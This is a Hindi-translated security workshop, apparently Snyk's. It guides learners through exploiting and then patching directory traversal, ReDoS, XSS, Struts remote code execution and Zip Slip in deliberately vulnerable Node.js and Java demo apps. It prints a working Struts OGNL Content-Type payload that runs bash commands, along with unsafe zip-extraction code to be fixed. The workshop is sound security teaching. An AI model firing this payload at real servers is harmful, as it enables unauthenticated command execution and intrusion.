
Node.js और Java अनुप्रयोगों में विभिन्न कमजोरियों का शोषण करने के लिए एक चरण-दर-चरण कार्यशाला
इस चरण-दर-चरण कार्यशाला में आप सीखेंगे कि Node.js और Java एप्लिकेशन में पैकेजों के संवेदनशील संस्करणों में मौजूद विभिन्न वास्तविक विश्व की कमजोरियों का शोषण कैसे करें।
आप इस कार्यशाला को 2 अलग-अलग तरीकों से कर सकते हैं
या
यह कार्यशाला आपको कई जानबूझकर संवेदनशील एप्लिकेशनों को स्थापित करने और उनका शोषण करने के माध्यम से ले जाएगी। एप्लिकेशन ज्ञात कमजोरियों वाले वास्तविक दुनिया के पैकेजों का उपयोग करेंगे, जिनमें शामिल हैं:
ये शोषण कई एप्लिकेशनों में मौजूद हैं, जिनमें से अधिकांश को आपको स्थानीय रूप से या क्लाउड इंस्टेंस पर स्थापित करने की आवश्यकता होगी। नीचे दिए गए निर्देश आपको स्थानीय स्थापनाओं के माध्यम से मार्गदर्शन करेंगे, लेकिन आप उन्हें दूरस्थ क्लाउड इंस्टेंस पर भी आज़माने के लिए स्वागत है।
इस कार्यशाला में प्रत्येक कमजोरी खंड के लिए, आपको कमजोरी के बारे में जानकारी के साथ-साथ उस पैकेज के बारे में भी जानकारी दी जाएगी जिसमें वह मौजूद है। आपको प्रोत्साहित किया जाता है कि पहले बिना किसी संकेत को पढ़े, परीक्षण और त्रुटि से एप्लिकेशन को हैक करने का प्रयास करें। सोचें कि आप एप्लिकेशन की स्वच्छता को कैसे धोखा दे सकते हैं और एक हैकर के दिमाग में प्रवेश करें। संकेत तब दिए गए हैं जब आप अटक जाते हैं, इसलिए उन्हें क्रम में तभी पढ़ें जब आपको मदद की आवश्यकता हो। यदि आप बिना संकेतों के हैक पूरा कर सकते हैं, तो यह बहुत अच्छा है! हालांकि बाद में संकेतों को पढ़ना अच्छा हो सकता है ताकि यह सुनिश्चित हो सके कि आप उसी तरह से अंदर आए जैसे हमने किया था! साथ ही सीखने के लिए उनमें छोटी-छोटी युक्तियाँ भी हो सकती हैं।
अपनी पसंद के अनुसार पहले उपयुक्त स्थापना मैनुअल चुनें
अपने पसंदीदा ब्राउज़र से, http://localhost:3001 पर जाएं और आपको निम्नलिखित पृष्ठ दिखाई देना चाहिए।

साइट के साथ कुछ मिनट खेलें, और विशेष रूप से, सामान्य टेक्स्ट "दूध खरीदें" और मार्कडाउन "बहुत सारा दूध खरीदें" का उपयोग करके कुछ टूडू आइटम बनाएं। होमपेज के नीचे से लिंक किए गए बहुत ही साधारण "अबाउट" पेज पर भी नेविगेट करें। इस अबाउट पेज को बनाने में उपयोग किए गए CSS-फू का आनंद लें। नोट: PR जो इस पेज को बेहतर दिखाते हैं, वे मर्ज नहीं किए जाएंगे ;o)

सबसे पहले, इसे नीले (रक्षात्मक) पक्ष से देखते हैं। गूफ़ एप्लिकेशन को अपने खुद के GitHub खाते में फोर्क करें। एप्लिकेशन GitHub पर यहाँ पाया जा सकता है: https://github.com/snyk/goof। हमें अपने एप्लिकेशन को स्कैन करने की आवश्यकता है ताकि एप्लिकेशन में मौजूद प्रत्यक्ष और अप्रत्यक्ष निर्भरताओं के साथ-साथ प्रत्येक लाइब्रेरी में कमजोरियों को समझ सकें। ऐसा करने के लिए, https://snyk.io पर जाएं और साइट के ऊपरी दाएं कोने पर "Sign up" या "Log in" (यदि आप पहले से उपयोगकर्ता हैं) पर क्लिक करें:

"Log in with your GitHub" बटन पर क्लिक करें:

इसके बाद, उस गूफ़ प्रोजेक्ट को आयात करें जिसे आपने अभी क्लोन किया था। अपनी GitHub रेपो सूची से goof चुनें और विंडो के ऊपरी दाएं कोने पर "Import Projects" बटन पर क्लिक करें।

जब प्रोजेक्ट स्कैन हो जाता है, तो आप इसे अपने डैशबोर्ड में देखेंगे:

प्रोजेक्ट पृष्ठ देखने के लिए package.json लिंक पर क्लिक करें, जिसमें सुरक्षा कमजोरियों की पूरी सूची शामिल है:

आप इश्यूज़ और डिपेंडेंसीज़ टैब पर क्लिक करके कमजोरियों और उनके उपचार के बारे में अधिक जानकारी देख सकते हैं, साथ ही आपके एप्लिकेशन द्वारा उन्हें कहाँ पेश किया जा रहा है। आप देखेंगे कि कमजोरी सूची के नीचे st पैकेज में एक निर्देशिका ट्रैवर्सल कमजोरी है। आइए इसे और अधिक विस्तार से देखें।

निर्देशिका ट्रैवर्सल हमला (जिसे पथ ट्रैवर्सल भी कहा जाता है) का उद्देश्य उन फ़ाइलों और निर्देशिकाओं तक पहुंचना है जो इच्छित फ़ोल्डर के बाहर संग्रहीत हैं। "डॉट-डॉट-स्लैश" (../) अनुक्रमों और उनके विविधताओं में हेरफेर करके, या पूर्ण फ़ाइल पथों का उपयोग करके, फ़ाइल सिस्टम पर संग्रहीत मनमानी फ़ाइलों और निर्देशिकाओं तक पहुंचना संभव हो सकता है, जिसमें एप्लिकेशन स्रोत कोड, कॉन्फ़िगरेशन और अन्य महत्वपूर्ण सिस्टम फ़ाइलें शामिल हैं।
निर्देशिका ट्रैवर्सल कमजोरियों को आम तौर पर दो प्रकारों में विभाजित किया जा सकता है:
गूफ़ एप्लिकेशन में वह पैकेज जिसमें निर्देशिका ट्रैवर्सल कमजोरी है जिसका हम शोषण करेंगे, वह st पैकेज है। st दस्तावेज़ देखें और लाइब्रेरी से परिचित हों।
अब आपको पता होना चाहिए कि निर्देशिका ट्रैवर्सल क्या है, st पैकेज क्या करता है और आप एप्लिकेशन को हैक करने के लिए आगे बढ़ सकते हैं — अब आप लाल टीम पर वापस आ गए हैं! एप्लिकेशन के चारों ओर देखें कि st पैकेज का उपयोग कहाँ किया जा सकता है और एक ऐसी निर्देशिका में जाने का प्रयास करें जहाँ आपको पहुंच की अनुमति नहीं होनी चाहिए।
यदि आप अटक जाते हैं तो आपको सुराग देने के लिए यहाँ कुछ संकेत दिए गए हैं - अपनी पूरी कोशिश करें कि जब तक आप स्वयं प्रयास न कर लें, तब तक उन्हें न देखें और केवल जब आपको मदद की आवश्यकता हो, तब देखें।
संकेत 1 देखने के लिए क्लिक करें यहाँ।
संकेत 2 देखने के लिए क्लिक करें यहाँ।
संकेत 3 देखने के लिए क्लिक करें यहाँ।
संकेत 4 देखने के लिए क्लिक करें यहाँ।
संकेत 5 देखने के लिए क्लिक करें यहाँ।
संकेत 6 देखने के लिए क्लिक करें यहाँ।
संकेत 7 देखने के लिए क्लिक करें यहाँ।
संकेत 8 देखने के लिए क्लिक करें यहाँ।
संकेत 9 देखने के लिए क्लिक करें यहाँ।
अपने फ़ाइल सिस्टम को एक हमलावर की तरह नेविगेट करें और अपनी मशीन पर 3 संवेदनशील जानकारी के टुकड़े खोजें जिन्हें आप शायद नहीं चाहेंगे कि कोई हमलावर देखे।
संकेत 10 देखने के लिए क्लिक करें यहाँ।
कमजोरी के विवरण को देखें, जिसमें CVSS स्कोर शामिल है: https://snyk.io/vuln/npm:st:20140206। आपको क्यों लगता है कि कमजोरी मध्यम गंभीरता की है, उच्च के बजाय?
snyk प्रोजेक्ट पृष्ठ पर वापस, st पैकेज में निर्देशिका ट्रैवर्सल कमजोरी ढूंढें और उपचार सलाह देखें। आप देखेंगे कि एप्लिकेशन में इस कमजोरी का केवल एक ही रास्ता है, और st पैकेज एक प्रत्यक्ष निर्भरता है, इसलिए उपचार बहुत मुश्किल नहीं होना चाहिए। हम देख सकते हैं कि हमें st पैकेज के संस्करण को 0.2.5 में अपडेट करने की आवश्यकता है। हम "Fix this vulnerability" बटन पर क्लिक करके स्वचालित रूप से ऐसा कर सकते हैं।

आप अपनी कमजोरियों की एक सूची देखेंगे, और केवल st कमजोरी का चयन होना चाहिए। पृष्ठ के नीचे स्क्रॉल करें और "Open a fix PR" पर क्लिक करें:

"Files Changed" टैब के तहत पुल रिक्वेस्ट में कोड परिवर्तन देखें:

सुनिश्चित करें कि आपके नए PR परीक्षण कोई नई सुरक्षा या लाइसेंस समस्या उत्पन्न नहीं करते हैं और वे पास हो गए हैं। ये PR के "Conversation" टैब में पाए जा सकते हैं:

जब आप PR से संतुष्ट हों, तो परिवर्तनों को मर्ज करें।
यदि आप एप्लिकेशन को स्थानीय रूप से चला रहे हैं, तो जिस विंडो में आपने npm start चलाया था, उसमें Ctrl+C दबाकर इसे रोकें। git fetch चलाकर GitHub से नवीनतम कोड प्राप्त करें। npm install चलाकर st का नया संस्करण डाउनलोड करें और फिर npm start का उपयोग करके अपने एप्लिकेशन को पुनः प्रारंभ करें।
अपने हैक को फिर से आज़माएं। बधाई हो!, आपने कमजोरी का उपचार कर दिया है और अब हर बार जब आप सार्वजनिक फ़ोल्डर से बाहर निकलने का प्रयास करेंगे, तो आपको होमपेज पर रीडायरेक्ट किया जाना चाहिए।
अपने Snyk स्कैन में एक ReDoS कमजोरी के विवरण को देखें:

ms पैकेज में यह कमजोरी वह है जिसे हम गूफ़ एप्लिकेशन में तोड़ेंगे। एक टूडू आइटम जोड़ने के लिए निम्नलिखित कमांड का उपयोग करें जिसमें समय का एक स्ट्रिंग प्रतिनिधित्व शामिल है:``` $ echo 'content=Call mom in 20 minutes' | http --form http://localhost:3001/create -v
The ms लाइब्रेरी ने आपकी सामग्री इनपुट स्ट्रिंग में एक समय पैटर्न का मिलान किया है। इसे goof वेबपेज पर थोड़े अलग तरीके से दर्शाया गया है।

ReDoS कैसे काम करता है, इसके अपने ज्ञान का उपयोग करके, एक ऐसी सामग्री स्ट्रिंग पास करने का प्रयास करें जो ध्यान देने योग्य विलंब, या अन्य उपयोगकर्ताओं के लिए सेवा से वंचित करने का कारण बने। ध्यान दें कि जब अनुरोध संसाधित हो रहा है, तब तक वेबपेज आपके आगे के किसी भी अनुरोध को बफर करेगा जब तक कि आपका पहला अनुरोध हैंडल नहीं हो जाता।
देखने के लिए क्लिक करें [संकेत 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint1.md)।
देखने के लिए क्लिक करें [संकेत 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint2.md)।
देखने के लिए क्लिक करें [संकेत 3](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint3.md)।
देखने के लिए क्लिक करें [संकेत 4](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint4.md)।
देखने के लिए क्लिक करें [संकेत 5](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint5.md)।
सोचें कि अपने एप्लिकेशन कोड में इस हमले से प्रोग्रामेटिक रूप से कैसे बचा जा सकता है?
### भेद्यता को ठीक करें
snyk प्रोजेक्ट पेज पर वापस जाएं, ```ms``` पैकेज में नियमित अभिव्यक्ति सेवा से वंचित भेद्यता खोजें और उपचार सलाह देखें। आप देखेंगे कि एप्लिकेशन में इस भेद्यता का केवल एक ही पथ है, और ```ms``` पैकेज एक अप्रत्यक्ष निर्भरता है, जिसे ```humanize-ms``` पैकेज द्वारा खींचा जा रहा है। हम देख सकते हैं कि हमें ```humanize-ms``` संस्करण को ```1.0.2``` में अपडेट करने की आवश्यकता है। यह निश्चित संस्करण पर ```ms``` पैकेज को खींचेगा। "Fix this Vulnerability" पर फिर से क्लिक करें और एक PR बनाएं।

अपने एप्लिकेशन को अपडेट करने के बाद, अपने हैक्स को फिर से आज़माएं। *बधाई हो!*, आपने भेद्यता का उपचार कर लिया है!
## क्रॉस-साइट स्क्रिप्टिंग (XSS)
XSS हमले तब होते हैं जब कोई हमलावर पीड़ित के डोमेन के संदर्भ में दुर्भावनापूर्ण JavaScript कोड निष्पादित करने के लिए उपयोगकर्ता के ब्राउज़र को धोखा देता है। ऐसी स्क्रिप्ट डोमेन के लिए उपयोगकर्ता के सत्र कुकीज़ चुरा सकती हैं, इसकी सामग्री को खुरच या संशोधित कर सकती हैं, और उपयोगकर्ता की ओर से कार्रवाई कर या संशोधित कर सकती हैं, जो क्रियाएँ आमतौर पर ब्राउज़र की समान-मूल नीति द्वारा अवरुद्ध होती हैं।
ये हमले वेब एप्लिकेशन के संदर्भ से बचकर और अन्यथा विश्वसनीय वेबसाइट में दुर्भावनापूर्ण स्क्रिप्ट इंजेक्ट करके संभव होते हैं। ये स्क्रिप्ट अतिरिक्त विशेषताएँ (जैसे, एक ड्रॉपडाउन सूची में "नया" विकल्प या किसी दुर्भावनापूर्ण साइट का नया लिंक) पेश कर सकती हैं और संभावित रूप से क्लाइंट की ओर से कोड निष्पादित कर सकती हैं, जो पीड़ित को पता नहीं चलता। ऐसा तब होता है जब ```< > " '``` जैसे वर्णों को ठीक से एस्केप नहीं किया जाता है।
XSS के कुछ प्रकार हैं:
* *पर्सिस्टेंट XSS* एक हमला है जिसमें दुर्भावनापूर्ण कोड वेब ऐप के डेटाबेस में बना रहता है।
* *रिफ्लेक्टेड XSS* एक हमला है जिसमें वेबसाइट अनुरोध के एक हिस्से को वापस गूँजती है। हमलावर को उपयोगकर्ता को एक दुर्भावनापूर्ण लिंक पर क्लिक करने के लिए धोखा देना होता है (उदाहरण के लिए फ़िशिंग ईमेल या किसी अन्य पेज पर दुर्भावनापूर्ण JS के माध्यम से), जो XSS हमले को ट्रिगर करता है।
* *DOM-आधारित XSS* एक हमला है जो पूरी तरह से ब्राउज़र में होता है जब क्लाइंट-साइड JavaScript URL के एक हिस्से को पेज पर वापस गूँजता है। DOM-आधारित XSS कुख्यात रूप से पहचानना कठिन है, क्योंकि सर्वर को हमले को होते देखने का मौका कभी नहीं मिलता।
यह भेद्यता marked लाइब्रेरी में मौजूद है। यह लाइब्रेरी हमें टूडू इनपुट बॉक्स में मार्कडाउन टेक्स्ट दर्ज करने और परिणामी टेक्स्ट को बोल्ड या जो भी आप चाहते हैं, प्रदर्शित करने की अनुमति देती है। अब जब आप इस जटिल, बहु-पृष्ठ एप्लिकेशन से अधिक परिचित हैं, तो उस पैकेज को ध्यान में रखें जो कमजोर है।
शुरू करने के लिए, आइए अलर्ट '1' प्रदर्शित करने का प्रयास करें। बहुत क्लिच, है ना?
देखने के लिए क्लिक करें [संकेत 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint1.md)।
देखने के लिए क्लिक करें [संकेत 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint2.md)।
देखने के लिए क्लिक करें [संकेत 3](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint3.md)।
देखने के लिए क्लिक करें [संकेत 4](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint4.md)।
देखने के लिए क्लिक करें [संकेत 5](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint5.md)।
देखने के लिए क्लिक करें [संकेत 6](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint6.md)।
देखने के लिए क्लिक करें [संकेत 7](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint7.md)।
देखने के लिए क्लिक करें [संकेत 8](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint8.md)।
एक बार जब आप कुछ JavaScript निष्पादित करने में सक्षम हो जाते हैं जो एक अलर्ट बनाता है, जैसा कि नीचे दिखाया गया है। आप कुछ संवेदनशील जानकारी प्राप्त करने के लिए कुछ अधिक पेचीदा प्रयास कर सकते हैं!

### भेद्यता को ठीक करें
snyk प्रोजेक्ट पेज पर वापस जाएं, ```marked``` पैकेज में XSS भेद्यता खोजें और उपचार सलाह देखें। आप देखेंगे कि एप्लिकेशन में इस भेद्यता का केवल एक ही पथ है, और ```marked``` पैकेज एक प्रत्यक्ष निर्भरता है। हम देख सकते हैं कि हमें ```marked``` को संस्करण ```0.3.9``` में अपडेट करने की आवश्यकता है। "Fix this Vulnerability" पर फिर से क्लिक करें और एक PR बनाएं।

अपने एप्लिकेशन को अपडेट करने के बाद, अपने हैक्स को फिर से आज़माएं। बधाई हो, आपने XSS भेद्यता का उपचार कर लिया है और अब वेब पेज पर JavaScript एम्बेड नहीं कर पाएंगे।
# जावा गूफ़ इंस्टॉलेशन
अपनी पसंद के अनुसार उपयुक्त इंस्टॉल मैनुअल चुनें
* [Docker इमेज](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/install/javagoof_docker.md) का उपयोग करना
* [स्थानीय मशीन](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/install/javagoof_local.md) पर इंस्टॉल
ब्राउज़र से निम्नलिखित URL पर जाएँ: [http://localhost:8080/](http://localhost:8080/)
आप यह एप्लिकेशन देखेंगे। यह Node एप्लिकेशन से बेहतर दिखता है। क्योंकि Java, Node से बेहतर है। तथ्य।

"Sign In" पर क्लिक करें और निम्नलिखित क्रेडेंशियल का उपयोग करें:```
Username: [email protected]
Password: foobar
जब आप लॉग इन होते हैं, तो आपको कई todo प्रविष्टियाँ दिखेंगी। यदि आप स्क्रीन के शीर्ष पर क्लिक करते हैं, तो आप देखेंगे कि एप्लिकेशन Spring, Hibernate और Apache Struts का उपयोग करता है। एप्लिकेशन का हमें यह डेटा देना बहुत दयालु है! वेबसाइटें आमतौर पर इतनी दयालु नहीं होतीं :)
अब वापस नीली (रक्षात्मक) टीम पर। हमें अपने एप्लिकेशन को स्कैन करने की आवश्यकता है ताकि एप्लिकेशन में मौजूद प्रत्यक्ष और अप्रत्यक्ष निर्भरताओं के साथ-साथ प्रत्येक लाइब्रेरी में कमजोरियों को समझ सकें। Java Goof को अपने GitHub खाते में फोर्क करें। एप्लिकेशन GitHub पर यहां पाया जा सकता है: https://github.com/snyk/java-goof
यदि आपके पास पहले से कार्यशाला से Snyk खाता है, तो आपको बस Java Goof रिपॉजिटरी को Snyk डैशबोर्ड में जोड़ना होगा। यदि आपने ऐसा नहीं किया है, तो अपना खाता इस प्रकार बनाएं:
यदि आपने पहले से ऐसा नहीं किया है तो https://snyk.io पर जाएं, साइट के ऊपर दाईं ओर "Log in" या "Sign up" पर क्लिक करें।

"Log in with your GitHub" बटन पर क्लिक करें:

पहले क्लोन किए गए goof प्रोजेक्ट को आयात करें। नीचे दिखाए गए Integrations लिंक पर क्लिक करें:

यहां से, GitHub इंटीग्रेशन चुनें और अपनी GitHub रिपॉजिटरी सूची से java-goof चुनें और विंडो के ऊपर दाईं ओर "Add selected repositories" बटन पर क्लिक करें।

जब प्रोजेक्ट स्कैन हो जाएगा, तो आप इसे अपने डैशबोर्ड में देखेंगे:

प्रोजेक्ट के उस हिस्से के लिए सुरक्षा कमजोरियों की पूरी सूची देखने के लिए todolist-web-struts/pom.xml लिंक पर क्लिक करें:

कमजोरी org.apache.struts:struts2-core पैकेज में मौजूद है।
पैकेज के प्रभावित संस्करण Jakarta Multipart पार्सर के साथ फ़ाइलें अपलोड करते समय आर्बिट्ररी कमांड निष्पादन के लिए संवेदनशील हैं। इस विशेष कमजोरी का शोषण एक हमलावर एक क्राफ्टेड अनुरोध भेजकर कर सकता है ताकि एक कमजोर सर्वर पर फ़ाइल अपलोड की जा सके जो अपलोड अनुरोध को संसाधित करने के लिए Jakarta-आधारित प्लगइन का उपयोग करता है।
हमलावर तब Content-Type, Content-Disposition या Content-Length HTTP हेडर में दुर्भावनापूर्ण कोड भेज सकता है, जो फिर कमजोर सर्वर द्वारा निष्पादित किया जाएगा। एक प्रूफ ऑफ कॉन्सेप्ट जो हमले के परिदृश्य को प्रदर्शित करता है सार्वजनिक रूप से उपलब्ध है और इस कमजोरी का सक्रिय रूप से वास्तविक दुनिया में शोषण किया जा रहा है।
हालांकि ओपन सोर्स प्रोजेक्ट के अनुरक्षकों ने तुरंत कमजोरी को पैच किया, फिर भी जिन Struts सर्वरों ने अपडेट स्थापित नहीं किया है वे हैकर्स के हमले के अंतर्गत हैं जो अपनी पसंद के कमांड इंजेक्ट करने के लिए इसका शोषण करते हैं।
यह हमला बिना प्रमाणीकरण के किया जा सकता है। मामले को बदतर बनाने के लिए, वेब एप्लिकेशनों को इस कमजोरी का शोषण करने के लिए जरूरी नहीं कि एक दुर्भावनापूर्ण फ़ाइल को सफलतापूर्वक अपलोड करना पड़े, क्योंकि एप्लिकेशन के भीतर कमजोर Struts लाइब्रेरी की उपस्थिति मात्र ही कमजोरी का शोषण करने के लिए पर्याप्त है।
यहाँ एक उदाहरण हेडर है जो कमजोरी का शोषण कर सकता है। ध्यान दें कि कंटेंट टाइप %{ से शुरू होता है।```
"Content-type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='COMMAND').(#cmds={'/bin/bash','-c',#cmd}).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
आप देखेंगे कि एक ```ProcessBuilder``` बनाया गया है और परिणामस्वरूप एक bash कमांड निष्पादित की जाएगी।
एप्लिकेशन में HTTP GET अनुरोध करके और अनुरोध में यह हेडर भेजकर एप्लिकेशन को हैक करें।
देखने के लिए क्लिक करें [संकेत 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/struts/hint1.md)।
देखने के लिए क्लिक करें [संकेत 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/struts/hint2.md)।
अब तक आपने एक रिमोट कमांड निष्पादित कर लिया होगा, जैसे अपनी मशीन के पर्यावरण चर प्राप्त करने के लिए यह env कमांड:

इस स्थिति में अब आपके पास URL को कर्ल करके मशीन पर निष्पादन अधिकार हैं। मशीन के बारे में जानने और मशीन पर चलाने के लिए अन्य कमांड चलाना जारी रखें।
# Zip Slip
अपनी पसंद के IDE में एक नया Maven प्रोजेक्ट बनाएँ। मैं आपको जज नहीं करूंगा। अपनी ```pom.xml``` फ़ाइल में एक नई निर्भरता जोड़ें।```xml
<dependency>
<groupId>org.zeroturnaround</groupId>
<artifactId>zt-zip</artifactId>
<version>1.12</version>
<type>jar</type>
</dependency>
इस रिपॉजिटरी में, आपको एक zip-slip.zip संग्रह मिलेगा। इसे डाउनलोड करें और आउटपुट देखने के लिए संग्रह पर निम्नलिखित कमांड चलाएँ। मुझे उम्मीद है कि आउटपुट देखने के बाद आपको पता चल जाएगा कि यह हैक कैसे काम करता है।``` $ jar -tvf zip-slip.zip
## The Zip Slip Vulnerability
Zip Slip is a form of directory traversal that can be exploited by extracting files from an archive. The premise of the directory traversal vulnerability is that an attacker can gain access to parts of the file system outside of the target folder in which they should reside. The attacker can then overwrite executable files and either invoke them remotely or wait for the system or user to call them, thus achieving remote command execution on the victim’s machine. The vulnerability can also cause damage by overwriting configuration files or other sensitive resources, and can be exploited on both client (user) machines and servers.
The two parts required to exploit this vulnerability is a malicious archive and extraction code that does not perform validation checking. Let’s look through each of these in turn. First of all, the contents of the zip file needs to have one or more files that break out of the target directory when extracted. In the ```zip-slip.zip``` example, we can see two files, a good.txt file which would be extracted into the target directory and an evil.txt file which is trying to traverse up the directory tree to the tmp directory. You’ll notice many levels of ```../``` exist so that the file stands a better chance of reaching the root directory, before trying to traverse to the ```/tmp``` directory from the root directory.
Use the ```zt-zip```’s unpack utility found in ```ZipUtil``` to extract the file and notice where the ```good.txt``` and ```evil.txt``` appear on your filesystem.
देखने के लिए क्लिक करें [संकेत 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint1.md)।
देखने के लिए क्लिक करें [संकेत 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint2.md)।
एक बार जब आप evil.txt फ़ाइल को अपनी tmp निर्देशिका में अनज़िप कर लेते हैं, तो भेद्यता की जानकारी ([https://snyk.io/vuln/SNYK-JAVA-ORGZEROTURNAROUND-31681](https://snyk.io/vuln/SNYK-JAVA-ORGZEROTURNAROUND-31681)) पर एक नज़र डालें।
### भेद्यता को ठीक करें!
देखने के लिए क्लिक करें [संकेत 3](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint3.md)।
देखने के लिए क्लिक करें [संकेत 4](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint4.md)।
अब जब आपने अपने ```zt-zip``` निर्भरता में भेद्यता को ठीक कर लिया है, तो आइए उस कोड को देखें जिसका उपयोग Java में ऐसा करने के लिए किया जा सकता है। ध्यान दें कि हमने इस उदाहरण में अपनी फ़ाइल कॉपी करने के लिए लाइन 8 पर Apache Commons IO लाइब्रेरी का उपयोग किया।```java
1. final String destinationDir = /* <your destination dir> */;
2. ZipFile zip = new ZipFile(/* <your zip file> */);
3. Enumeration<ZipEntry> entries = (Enumeration<ZipEntry>) zip.entries();
4. while (entries.hasMoreElements()) {
5. ZipEntry e = entries.nextElement();
6. File f = new File(destinationDir, e.getName());
7. InputStream input = zip.getInputStream(e);
8. FileUtils.copyToFile(input, f);
9. }
Let’s switch out our previous ZipUtil.unpack invocation with this code. Delete the good.txt and evil.txt files from your file system and run the application again. You’ll notice the evil.txt file once again reaches the /tmp directory.
Identify which lines of code above are the culprits and fix them!
देखने के लिए क्लिक करें संकेत 5.
देखने के लिए क्लिक करें संकेत 6.
देखने के लिए क्लिक करें संकेत 7.
देखने के लिए क्लिक करें संकेत 8.
देखने के लिए क्लिक करें संकेत 9.
एक बार जब आपने अपने समाधान को रक्षात्मक रूप से कोडित कर लिया है, तो हमारा अंतिम कोड नमूना संकेत 9 में देखें कि यह आपके संस्करण से कैसे तुलना करता है। क्या आपने पंक्ति 9 में अनुगामी फ़ाइल विभाजक शामिल किया? यह सुनिश्चित करता है कि निर्देशिका सिर्फ हमारे द्वारा चुने गए निर्देशिका नाम से शुरू नहीं होती, बल्कि वह निर्देशिका है जिसे हमने फ़ाइलों को निकालने के लिए चुना है।
इस कार्यशाला में भाग लेने के लिए धन्यवाद। यदि आप कोई टाइपो देखते हैं या अतिरिक्त संकेत सुझाते हैं, तो कृपया हमें एक PR भेजें!